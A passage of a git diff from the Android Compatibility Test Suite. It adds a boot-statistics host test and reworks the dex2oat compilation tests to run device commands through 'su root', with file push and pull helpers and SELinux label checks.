+
+    @Test
+    public void testIncludeExcludeRules() throws Exception {
+        // Generate the files that are going to be backed up.
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "createFiles");
+
+        // Do a backup
+        String backupnowOutput = backupNow(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+        assertBackupIsSuccessful(INCLUDE_EXCLUDE_TESTS_APP_NAME, backupnowOutput);
+
+        // Delete the files
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "deleteFilesAfterBackup");
+
+        // Do a restore
+        String restoreOutput = restore(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+        assertRestoreIsSuccessful(restoreOutput);
+
+        // Check that the right files were restored
+        checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+                "checkRestoredFiles");
+    }
+}
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
new file mode 100644
index 0000000..24e2f8b
--- /dev/null
+++ b/hostsidetests/bootstats/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsBootStatsTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := host-framework-protos
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full
+
+LOCAL_CTS_TEST_PACKAGE := android.bootstats
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/bootstats/AndroidTest.xml b/hostsidetests/bootstats/AndroidTest.xml
new file mode 100644
index 0000000..6d1be7d
--- /dev/null
+++ b/hostsidetests/bootstats/AndroidTest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Boot Stats host tests">
+    <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsBootStatsTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
new file mode 100644
index 0000000..75e3fd5
--- /dev/null
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bootstats.cts;
+
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import junit.framework.Assert;
+
+/**
+ * Set of tests that verify statistics collection during boot.
+ */
+public class BootStatsHostTest extends DeviceTestCase {
+    private static final String TAG = "BootStatsHostTest";
+
+    public void testBootStats() throws Exception {
+        long startTime = System.currentTimeMillis();
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --buffer=events --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+        int upperBoundSeconds = (int) ((System.currentTimeMillis() - startTime) / 1000);
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        // find logs and parse them
+        // ex: sysui_multi_action: [757,804,799,ota_boot_complete,801,85,802,1]
+        // ex: 757,804,799,counter_name,801,bucket_value,802,increment_value
+        final String bucketTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_BUCKET);
+        final String counterNameTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_NAME);
+        final String counterNamePattern = counterNameTag + ",boot_complete,";
+        final String multiActionPattern = "sysui_multi_action: [";
+
+        final String log = getDevice().executeShellCommand("logcat --buffer=events -d");
+
+        int counterNameIndex = log.indexOf(counterNamePattern);
+        Assert.assertTrue("did not find boot logs", counterNameIndex != -1);
+
+        int multiLogStart = log.lastIndexOf(multiActionPattern, counterNameIndex);
+        multiLogStart += multiActionPattern.length();
+        int multiLogEnd = log.indexOf("]", multiLogStart);
+        String[] multiLogDataStrings = log.substring(multiLogStart, multiLogEnd).split(",");
+
+        boolean foundBucket = false;
+        int bootTime = 0;
+        for (int i = 0; i < multiLogDataStrings.length; i += 2) {
+            if (bucketTag.equals(multiLogDataStrings[i])) {
+                foundBucket = true;
+                Assert.assertTrue("histogram data was truncated",
+                        (i + 1) < multiLogDataStrings.length);
+                bootTime = Integer.valueOf(multiLogDataStrings[i + 1]);
+            }
+        }
+        Assert.assertTrue("log line did not contain a tag " + bucketTag, foundBucket);
+        Assert.assertTrue("reported boot time must be less than observed boot time",
+                bootTime < upperBoundSeconds);
+        Assert.assertTrue("reported boot time must be non-zero", bootTime > 0);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+}
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 64e7063..723e5c3 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_MODULE := CtsCompilationTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_STATIC_JAVA_LIBRARIES := guavalib
 
diff --git a/hostsidetests/compilation/AndroidTest.xml b/hostsidetests/compilation/AndroidTest.xml
index acae9b5..9cc9066 100644
--- a/hostsidetests/compilation/AndroidTest.xml
+++ b/hostsidetests/compilation/AndroidTest.xml
@@ -14,7 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Compilation Test">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCompilationTestCases.jar" />
+        <option name="runtime-hint" value="9m45s" />
     </test>
 </configuration>
diff --git a/hostsidetests/compilation/assets/primary.prof b/hostsidetests/compilation/assets/primary.prof
new file mode 100644
index 0000000..404089d
--- /dev/null
+++ b/hostsidetests/compilation/assets/primary.prof
Binary files differ
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
deleted file mode 100644
index e74ec47..0000000
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-Landroid/cts/compilation/CompilationTargetActivity;
-HLandroid/cts/compilation/CompilationTargetActivity;->m11()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m12()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m13()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m14()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m15()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m16()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m17()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m18()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m19()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m20()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m21()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m22()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m23()I
-HLandroid/cts/compilation/CompilationTargetActivity;->m24()I
-SLandroid/cts/compilation/CompilationTargetActivity;->onResume()V
-SPLandroid/cts/compilation/CompilationTargetActivity;->onPause()V
-
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index b925728..2fc3e1e 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -22,6 +22,7 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -36,12 +37,19 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import static com.google.common.base.Preconditions.checkNotNull;
+
 /**
- * Tests that profile guided compilation succeeds regardless of whether a runtime
- * profile of the target application is present on the device.
+ * Various integration tests for dex to oat compilation, with or without profiles.
+ * When changing this test, make sure it still passes in each of the following
+ * configurations:
+ * <ul>
+ *     <li>On a 'user' build</li>
+ *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to false</li>
+ *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to true</li>
+ * </ul>
  */
 public class AdbRootDependentCompilationTest extends DeviceTestCase {
-    private static final String TAG = AdbRootDependentCompilationTest.class.getSimpleName();
     private static final String APPLICATION_PACKAGE = "android.cts.compilation";
 
     enum ProfileLocation {
@@ -64,12 +72,10 @@
     }
 
     private ITestDevice mDevice;
-    private File textProfileFile;
-    private String odexFilePath;
-    private byte[] initialOdexFileContents;
+    private byte[] profileBytes;
+    private File localProfileFile;
     private File apkFile;
-    private boolean mIsRoot;
-    private boolean mNewlyObtainedRoot;
+    private boolean mCanEnableDeviceRootAccess;
 
     @Override
     protected void setUp() throws Exception {
@@ -80,11 +86,8 @@
         assertTrue("Unknown build type: " + buildType,
                 Arrays.asList("user", "userdebug", "eng").contains(buildType));
         boolean wasRoot = mDevice.isAdbRoot();
-        mIsRoot = (!buildType.equals("user"));
-        mNewlyObtainedRoot = (mIsRoot && !wasRoot);
-        if (mNewlyObtainedRoot) {
-            mDevice.executeAdbCommand("root");
-        }
+        // We can only enable root access on userdebug and eng builds.
+        mCanEnableDeviceRootAccess = buildType.equals("userdebug") || buildType.equals("eng");
 
         apkFile = File.createTempFile("CtsCompilationApp", ".apk");
         try (OutputStream outputStream = new FileOutputStream(apkFile)) {
@@ -94,54 +97,45 @@
         mDevice.uninstallPackage(APPLICATION_PACKAGE); // in case it's still installed
         mDevice.installPackage(apkFile, false);
 
-        // Write the text profile to a temporary file so that we can run profman on it to create a
-        // real profile.
-        byte[] profileBytes = ByteStreams.toByteArray(
-                getClass().getResourceAsStream("/primary.prof.txt"));
+        // Load snapshot of file contents from {@link ProfileLocation#CUR} after
+        // manually running the target application manually for a few minutes.
+        profileBytes = ByteStreams.toByteArray(getClass().getResourceAsStream("/primary.prof"));
+        localProfileFile = File.createTempFile("compilationtest", "prof");
+        Files.write(profileBytes, localProfileFile);
         assertTrue("empty profile", profileBytes.length > 0); // sanity check
-        textProfileFile = File.createTempFile("compilationtest", "prof.txt");
-        Files.write(profileBytes, textProfileFile);
-
-        if (mIsRoot) {
-            // ensure no profiles initially present
-            for (ProfileLocation profileLocation : ProfileLocation.values()) {
-                String clientPath = profileLocation.getPath();
-                if (mDevice.doesFileExist(clientPath)) {
-                    executeAdbCommand(0, "shell", "rm", clientPath);
-                }
-            }
-            executeCompile(/* force */ true, "speed");
-            this.odexFilePath = getOdexFilePath();
-            byte[] speedContents = readFileOnClient(odexFilePath);
-            assertTrue("empty odex file", speedContents.length > 0); // sanity check
-            // Confirm the compiler-filter used in creating the odex file
-            String compilerFilter = getCompilerFilter(odexFilePath);
-            assertEquals("compiler-filter", "speed", compilerFilter);
-
-            // Recompile with speed-profile and an empty profile.
-            executeCompile(/* force */ true, "speed-profile");
-            initialOdexFileContents = readFileOnClient(odexFilePath);
-            assertTrue("empty odex file", initialOdexFileContents.length > 0); // sanity check
-            // Confirm the compiler-filter used in creating the odex file
-            compilerFilter = getCompilerFilter(odexFilePath);
-            assertEquals("compiler-filter", "speed-profile", compilerFilter);
-            assertTrue("speed-profile should be smaller " + initialOdexFileContents.length + " " +
-                               speedContents.length,
-                       initialOdexFileContents.length < speedContents.length);
-        }
     }
 
     @Override
     protected void tearDown() throws Exception {
-        if (mNewlyObtainedRoot) {
-            mDevice.executeAdbCommand("unroot");
-        }
-        apkFile.delete();
-        textProfileFile.delete();
+        FileUtil.deleteFile(apkFile);
+        FileUtil.deleteFile(localProfileFile);
         mDevice.uninstallPackage(APPLICATION_PACKAGE);
         super.tearDown();
     }
 
+    /**
+     * Tests compilation using {@code -r bg-dexopt -f}.
+     */
+    public void testCompile_bgDexopt() throws Exception {
+        if (!canRunTest(EnumSet.noneOf(ProfileLocation.class))) {
+            return;
+        }
+        // Usually "interpret-only"
+        String expectedInstallFilter = checkNotNull(mDevice.getProperty("pm.dexopt.install"));
+        // Usually "speed-profile"
+        String expectedBgDexoptFilter = checkNotNull(mDevice.getProperty("pm.dexopt.bg-dexopt"));
+
+        String odexPath = getOdexFilePath();
+        assertEquals(expectedInstallFilter, getCompilerFilter(odexPath));
+
+        // Without -f, the compiler would only run if it judged the bg-dexopt filter to
+        // be "better" than the install filter. However manufacturers can change those
+        // values so we don't want to depend here on the resulting filter being better.
+        executeCompile("-r", "bg-dexopt", "-f");
+
+        assertEquals(expectedBgDexoptFilter, getCompilerFilter(odexPath));
+    }
+
     /*
      The tests below test the remaining combinations of the "ref" (reference) and
      "cur" (current) profile being available. The "cur" profile gets moved/merged
@@ -154,144 +148,127 @@
      profile_assistant, it may only be available in "ref".
      */
 
-    public void testForceCompile_noProfile() throws Exception {
-        Set<ProfileLocation> profileLocations = EnumSet.noneOf(ProfileLocation.class);
-        if (!canRunTest(profileLocations)) {
-            return;
-        }
-        compileWithProfilesAndCheckFilter(profileLocations);
-        byte[] odexFileContents = readFileOnClient(odexFilePath);
-        assertBytesEqual(initialOdexFileContents, odexFileContents);
+    public void testCompile_noProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                EnumSet.noneOf(ProfileLocation.class));
     }
 
-    public void testForceCompile_curProfile() throws Exception {
-        Set<ProfileLocation> profileLocations = EnumSet.of(ProfileLocation.CUR);
-        if (!canRunTest(profileLocations)) {
-            return;
+    public void testCompile_curProfile() throws Exception {
+        boolean didRun = compileWithProfilesAndCheckFilter(true  /* expectOdexChange */,
+                 EnumSet.of(ProfileLocation.CUR));
+        if (didRun) {
+            assertTrue("ref profile should have been created by the compiler",
+                    doesFileExist(ProfileLocation.REF.getPath()));
         }
-        compileWithProfilesAndCheckFilter(profileLocations);
-        assertTrue("ref profile should have been created by the compiler",
-                mDevice.doesFileExist(ProfileLocation.REF.getPath()));
-        assertFalse("odex compiled with cur profile should differ from the initial one without",
-                Arrays.equals(initialOdexFileContents, readFileOnClient(odexFilePath)));
     }
 
-    public void testForceCompile_refProfile() throws Exception {
-        Set<ProfileLocation> profileLocations = EnumSet.of(ProfileLocation.REF);
-        if (!canRunTest(profileLocations)) {
-            return;
-        }
-        compileWithProfilesAndCheckFilter(profileLocations);
+    public void testCompile_refProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                 EnumSet.of(ProfileLocation.REF));
         // We assume that the compiler isn't smart enough to realize that the
         // previous odex was compiled before the ref profile was in place, even
         // though theoretically it could be.
-        byte[] odexFileContents = readFileOnClient(odexFilePath);
-        assertBytesEqual(initialOdexFileContents, odexFileContents);
     }
 
-    public void testForceCompile_curAndRefProfile() throws Exception {
-        Set<ProfileLocation> profileLocations = EnumSet.of(
-                ProfileLocation.CUR, ProfileLocation.REF);
-        if (!canRunTest(profileLocations)) {
-            return;
-        }
-        compileWithProfilesAndCheckFilter(profileLocations);
-        // We assume that the compiler isn't smart enough to realize that the
-        // previous odex was compiled before the ref profile was in place, even
-        // though theoretically it could be.
-        byte[] odexFileContents = readFileOnClient(odexFilePath);
-        assertBytesEqual(initialOdexFileContents, odexFileContents);
+    public void testCompile_curAndRefProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                EnumSet.of(ProfileLocation.CUR, ProfileLocation.REF));
     }
 
     private byte[] readFileOnClient(String clientPath) throws Exception {
         assertTrue("File not found on client: " + clientPath,
-                mDevice.doesFileExist(clientPath));
+                doesFileExist(clientPath));
         File copyOnHost = File.createTempFile("host", "copy");
         try {
-            executeAdbCommand("pull", clientPath, copyOnHost.getPath());
+            executePull(clientPath, copyOnHost.getPath());
             return Files.toByteArray(copyOnHost);
         } finally {
-            boolean successIgnored = copyOnHost.delete();
+            FileUtil.deleteFile(copyOnHost);
         }
     }
 
     /**
-     * Places the profile in the specified locations, recompiles (without -f)
+     * Places {@link #profileBytes} in the specified locations, recompiles (without -f)
      * and checks the compiler-filter in the odex file.
+     *
+     * @return whether the test ran (as opposed to early exit)
      */
-    private void compileWithProfilesAndCheckFilter(Set<ProfileLocation> profileLocations)
+    private boolean compileWithProfilesAndCheckFilter(boolean expectOdexChange,
+            Set<ProfileLocation> profileLocations)
             throws Exception {
+        if (!canRunTest(profileLocations)) {
+            return false;
+        }
+        // ensure no profiles initially present
+        for (ProfileLocation profileLocation : ProfileLocation.values()) {
+            String clientPath = profileLocation.getPath();
+            if (doesFileExist(clientPath)) {
+                executeSuShellAdbCommand(0, "rm", clientPath);
+            }
+        }
+        executeCompile("-m", "speed-profile", "-f");
+        String odexFilePath = getOdexFilePath();
+        byte[] initialOdexFileContents = readFileOnClient(odexFilePath);
+        assertTrue("empty odex file", initialOdexFileContents.length > 0); // sanity check
+
         for (ProfileLocation profileLocation : profileLocations) {
             writeProfile(profileLocation);
         }
-        executeCompile(/* force */ false, "speed-profile");
+        executeCompile("-m", "speed-profile");
 
         // Confirm the compiler-filter used in creating the odex file
         String compilerFilter = getCompilerFilter(odexFilePath);
 
         assertEquals("compiler-filter", "speed-profile", compilerFilter);
+
+        byte[] odexFileContents = readFileOnClient(odexFilePath);
+        boolean odexChanged = !(Arrays.equals(initialOdexFileContents, odexFileContents));
+        if (odexChanged && !expectOdexChange) {
+            String msg = String.format(Locale.US, "Odex file without filters (%d bytes) "
+                    + "unexpectedly different from odex file (%d bytes) compiled with filters: %s",
+                    initialOdexFileContents.length, odexFileContents.length, profileLocations);
+            fail(msg);
+        } else if (!odexChanged && expectOdexChange) {
+            fail("odex file should have changed when recompiling with " + profileLocations);
+        }
+        return true;
     }
 
     /**
      * Invokes the dex2oat compiler on the client.
+     *
+     * @param compileOptions extra options to pass to the compiler on the command line
      */
-    private void executeCompile(boolean force, String filter) throws Exception {
-        List<String> command = new ArrayList<>(Arrays.asList("shell", "cmd", "package", "compile",
-                "-m", filter));
-        if (force) {
-            command.add("-f");
-        }
+    private void executeCompile(String... compileOptions) throws Exception {
+        List<String> command = new ArrayList<>(Arrays.asList("cmd", "package", "compile"));
+        command.addAll(Arrays.asList(compileOptions));
         command.add(APPLICATION_PACKAGE);
         String[] commandArray = command.toArray(new String[0]);
-        assertEquals("Success", executeAdbCommand(1, commandArray)[0]);
+        assertEquals("Success", executeSuShellAdbCommand(1, commandArray)[0]);
     }
 
     /**
-     * Copies {@link #textProfileFile} to the device and convert it to a binary profile on the
-     * client device.
+     * Copies {@link #localProfileFile} to the specified location on the client device.
      */
     private void writeProfile(ProfileLocation location) throws Exception {
         String targetPath = location.getPath();
         // Get the owner of the parent directory so we can set it on the file
         String targetDir = location.getDirectory();
-        if (!mDevice.doesFileExist(targetDir)) {
+        if (!doesFileExist(targetDir)) {
             fail("Not found: " + targetPath);
         }
         // in format group:user so we can directly pass it to chown
-        String owner = executeAdbCommand(1, "shell", "stat", "-c", "%U:%g", targetDir)[0];
+        String owner = executeSuShellAdbCommand(1, "stat", "-c", "%U:%g", targetDir)[0];
         // for some reason, I've observed the output starting with a single space
         while (owner.startsWith(" ")) {
             owner = owner.substring(1);
         }
-
-        String targetPathTemp = targetPath + ".tmp";
-        mDevice.executeAdbCommand("push", textProfileFile.getAbsolutePath(), targetPathTemp);
-        assertTrue("Failed to push text profile", mDevice.doesFileExist(targetPathTemp));
-
-        String targetPathApk = targetPath + ".apk";
-        mDevice.executeAdbCommand("push", apkFile.getAbsolutePath(), targetPathApk);
-        assertTrue("Failed to push APK from ", mDevice.doesFileExist(targetPathApk));
-        // Run profman to create the real profile on device.
-        try {
-            String pathSpec = executeAdbCommand(1, "shell", "pm", "path", APPLICATION_PACKAGE)[0];
-            pathSpec = pathSpec.replace("package:", "");
-            assertTrue("Failed find APK " + pathSpec, mDevice.doesFileExist(pathSpec));
-            executeAdbCommand(
-                "shell",
-                "profman",
-                "--create-profile-from=" + targetPathTemp,
-                "--apk=" + pathSpec,
-                "--dex-location=" + pathSpec,
-                "--reference-profile-file=" + targetPath);
-        } catch (Exception e) {
-            assertEquals("", e.toString());
-        }
-        executeAdbCommand(0, "shell", "chown", owner, targetPath);
+        executePush(localProfileFile.getAbsolutePath(), targetPath, targetDir);
+        executeSuShellAdbCommand(0, "chown", owner, targetPath);
         // Verify that the file was written successfully
-        assertTrue("failed to create profile file", mDevice.doesFileExist(targetPath));
-        String[] result = executeAdbCommand(1, "shell", "stat", "-c", "%s", targetPath);
-        assertTrue("profile " + targetPath + " is " + Integer.parseInt(result[0]) + " bytes",
-                   Integer.parseInt(result[0]) > 0);
+        assertTrue("failed to create profile file", doesFileExist(targetPath));
+        assertEquals(Integer.toString(profileBytes.length),
+                executeSuShellAdbCommand(1, "stat", "-c", "%s", targetPath)[0]);
     }
 
     /**
@@ -299,8 +276,8 @@
      * {@code oatdump --header-only}.
      */
     private String getCompilerFilter(String odexFilePath) throws DeviceNotAvailableException {
-        String[] response = executeAdbCommand(
-                "shell", "oatdump", "--header-only", "--oat-file=" + odexFilePath);
+        String[] response = executeSuShellAdbCommand(
+                "oatdump", "--header-only", "--oat-file=" + odexFilePath);
         String prefix = "compiler-filter =";
         for (String line : response) {
             line = line.trim();
@@ -318,20 +295,20 @@
      */
     private String getOdexFilePath() throws DeviceNotAvailableException {
         // Something like "package:/data/app/android.cts.compilation-1/base.apk"
-        String pathSpec = executeAdbCommand(1, "shell", "pm", "path", APPLICATION_PACKAGE)[0];
+        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
         Matcher matcher = Pattern.compile("^package:(.+/)base\\.apk$").matcher(pathSpec);
         boolean found = matcher.find();
         assertTrue("Malformed spec: " + pathSpec, found);
         String apkDir = matcher.group(1);
         // E.g. /data/app/android.cts.compilation-1/oat/arm64/base.odex
-        String result = executeAdbCommand(1, "shell", "find", apkDir, "-name", "base.odex")[0];
-        assertTrue("odex file not found: " + result, mDevice.doesFileExist(result));
+        String result = executeSuShellAdbCommand(1, "find", apkDir, "-name", "base.odex")[0];
+        assertTrue("odex file not found: " + result, doesFileExist(result));
         return result;
     }
 
     /**
-     * Returns whether a test can run in the current device configuration
-     * and for the given profileLocations. This allows tests to exit early.
+     * Returns whether a test that uses the given profileLocations can run
+     * in the current device configuration. This allows tests to exit early.
      *
      * <p>Ideally we'd like tests to be marked as skipped/ignored or similar
      * rather than passing if they can't run on the current device, but that
@@ -339,23 +316,24 @@
      * TODO: Use Assume.assumeTrue() if this test gets converted to JUnit 4.
      */
     private boolean canRunTest(Set<ProfileLocation> profileLocations) throws Exception {
-        boolean result = mIsRoot && (profileLocations.isEmpty() || isUseJitProfiles());
+        boolean result = mCanEnableDeviceRootAccess &&
+                (profileLocations.isEmpty() || isUseJitProfiles());
         if (!result) {
-            System.err.printf("Skipping test [isRoot=%s, %d profiles] on %s\n",
-                    mIsRoot, profileLocations.size(), mDevice);
+            System.err.printf("Skipping test [mCanEnableDeviceRootAccess=%s, %d profiles] on %s\n",
+                    mCanEnableDeviceRootAccess, profileLocations.size(), mDevice);
         }
         return result;
     }
 
     private boolean isUseJitProfiles() throws Exception {
         boolean propUseJitProfiles = Boolean.parseBoolean(
-                executeAdbCommand(1, "shell", "getprop", "dalvik.vm.usejitprofiles")[0]);
+                executeSuShellAdbCommand(1, "getprop", "dalvik.vm.usejitprofiles")[0]);
         return propUseJitProfiles;
     }
 
-    private String[] executeAdbCommand(int numLinesOutputExpected, String... command)
+    private String[] executeSuShellAdbCommand(int numLinesOutputExpected, String... command)
             throws DeviceNotAvailableException {
-        String[] lines = executeAdbCommand(command);
+        String[] lines = executeSuShellAdbCommand(command);
         assertEquals(
                 String.format(Locale.US, "Expected %d lines output, got %d running %s: %s",
                         numLinesOutputExpected, lines.length, Arrays.toString(command),
@@ -364,16 +342,88 @@
         return lines;
     }
 
-    private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
-        String output = mDevice.executeAdbCommand(command);
+    private String[] executeSuShellAdbCommand(String... command)
+            throws DeviceNotAvailableException {
+        // Add `shell su root` to the adb command.
+        String cmdString = String.join(" ", command);
+        String output = mDevice.executeShellCommand("su root " + cmdString);
         // "".split() returns { "" }, but we want an empty array
         String[] lines = output.equals("") ? new String[0] : output.split("\n");
         return lines;
     }
 
-    private static void assertBytesEqual(byte[] expected, byte[] actual) {
-        String msg = String.format("Expected %d bytes differ from actual %d bytes",
-                expected.length, actual.length);
-        assertTrue(msg, Arrays.equals(expected, actual));
+    private String getSelinuxLabel(String path) throws DeviceNotAvailableException {
+        // ls -aZ (-a so it sees directories, -Z so it prints the label).
+        String[] res = executeSuShellAdbCommand(String.format(
+            "ls -aZ '%s'", path));
+
+        if (res.length == 0) {
+          return null;
+        }
+
+        // For directories, it will print many outputs. Filter to first line which contains '.'
+        // The target line will look like
+        //      "u:object_r:shell_data_file:s0 /data/local/tmp/android.cts.compilation.primary.prof"
+        // Remove the second word to only return "u:object_r:shell_data_file:s0".
+
+        return res[0].replaceAll("\\s+.*","");  // remove everything following the first whitespace
+    }
+
+    private void checkSelinuxLabelMatches(String a, String b) throws DeviceNotAvailableException {
+      String labelA = getSelinuxLabel(a);
+      String labelB = getSelinuxLabel(b);
+
+      assertEquals("expected the selinux labels to match", labelA, labelB);
+    }
+
+    private void executePush(String hostPath, String targetPath, String targetDirectory)
+            throws DeviceNotAvailableException {
+        // Cannot push to a privileged directory with one command.
+        // (i.e. there is no single-command equivalent of 'adb root; adb push src dst')
+        //
+        // Push to a tmp directory and then move it to the final destination
+        // after updating the selinux label.
+        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".push.tmp";
+        assertTrue(mDevice.pushFile(new File(hostPath), tmpPath));
+
+        // Important: Use "cp" here because it newly copied files will inherit the security context
+        // of the targetDirectory according to the default policy.
+        //
+        // (Other approaches, such as moving the file retain the invalid security context
+        // of the tmp directory - b/37425296)
+        //
+        // This mimics the behavior of 'adb root; adb push $targetPath'.
+        executeSuShellAdbCommand("mv", tmpPath, targetPath);
+
+        // Important: Use "restorecon" here because the file in tmpPath retains the
+        // incompatible security context of /data/local/tmp.
+        //
+        // This mimics the behavior of 'adb root; adb push $targetPath'.
+        executeSuShellAdbCommand("restorecon", targetPath);
+
+        // Validate that the security context of the file matches the security context
+        // of the directory it was pushed to.
+        //
+        // This is a reasonable default behavior to check because most selinux policies
+        // are configured to behave like this.
+        checkSelinuxLabelMatches(targetDirectory, targetPath);
+    }
+
+    private void executePull(String targetPath, String hostPath)
+            throws DeviceNotAvailableException {
+        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".pull.tmp";
+        executeSuShellAdbCommand("cp", targetPath, tmpPath);
+        try {
+            executeSuShellAdbCommand("chmod", "606", tmpPath);
+            assertTrue(mDevice.pullFile(tmpPath, new File(hostPath)));
+        } finally {
+            executeSuShellAdbCommand("rm", tmpPath);
+        }
+    }
+
+    private boolean doesFileExist(String path) throws DeviceNotAvailableException {
+        String[] result = executeSuShellAdbCommand("ls", path);
+        // Testing for empty directories will return an empty array.
+        return !(result.length > 0 && result[0].contains("No such file"));
     }
 }
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
new file mode 100644
index 0000000..342c8f5
--- /dev/null
+++ b/hostsidetests/content/Android.mk
@@ -0,0 +1,32 @@
